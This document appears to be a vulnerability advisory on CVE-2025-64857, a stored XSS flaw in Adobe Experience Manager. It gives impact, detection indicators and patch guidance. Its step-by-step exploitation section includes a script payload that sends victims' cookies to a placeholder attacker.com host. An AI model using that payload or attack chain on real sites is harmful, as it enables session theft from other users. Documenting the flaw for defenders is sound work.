CVE-2025-64857: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64857 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises), AEM 6.5 LTS, and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with the advisory updated December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject persistent malicious JavaScript into vulnerable AEM form fields; the script executes in the browser of any victim who subsequently visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) and low privileges on the AEM instance, with a changed scope indicating the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the AEM instance, leading to low-level confidentiality and integrity impacts (e.g., session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim). While availability is not directly impacted, the stored nature of the XSS means the payload persists and can affect multiple users over time. The changed scope means the impact can extend beyond the attacker's own session to other users of the platform (Adobe Advisory, Feedly).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., author or contributor role).
3. Locate vulnerable form field: Navigate to an AEM page or component that contains a form field susceptible to stored XSS input (e.g., a text or rich-text field that does not properly sanitize input).
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Victim triggers execution: When a victim (e.g., an AEM administrator or another user) browses to the page containing the injected field, the malicious script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads in request bodies.
• File System: Unexpected or modified AEM content nodes (JCR repository) containing <script> tags or JavaScript URIs in text properties.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages; unusual DNS lookups originating from AEM author/publish environments.
• Logs: AEM error logs or browser console errors referencing unexpected script execution or Content Security Policy (CSP) violations on AEM pages.

Adobe has released patches addressing CVE-2025-64857 in AEM 6.5.24.0 (for on-premises deployments) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restricting content authoring access to trusted users and enforcing a strict Content Security Policy (CSP) on AEM publish instances can reduce the risk of exploitation. Administrators should also audit existing AEM content for unexpected script injections (Adobe Advisory).

The vulnerability was disclosed as part of Adobe's December 2025 Patch Tuesday security bulletin (APSB25-115), which addressed numerous vulnerabilities across AEM. Tenable published a Nessus detection plugin (ID 278346) for this CVE shortly after disclosure. No notable independent researcher commentary or significant social media discussion specific to CVE-2025-64857 has been identified beyond standard vulnerability aggregator coverage (Tenable, Adobe Advisory).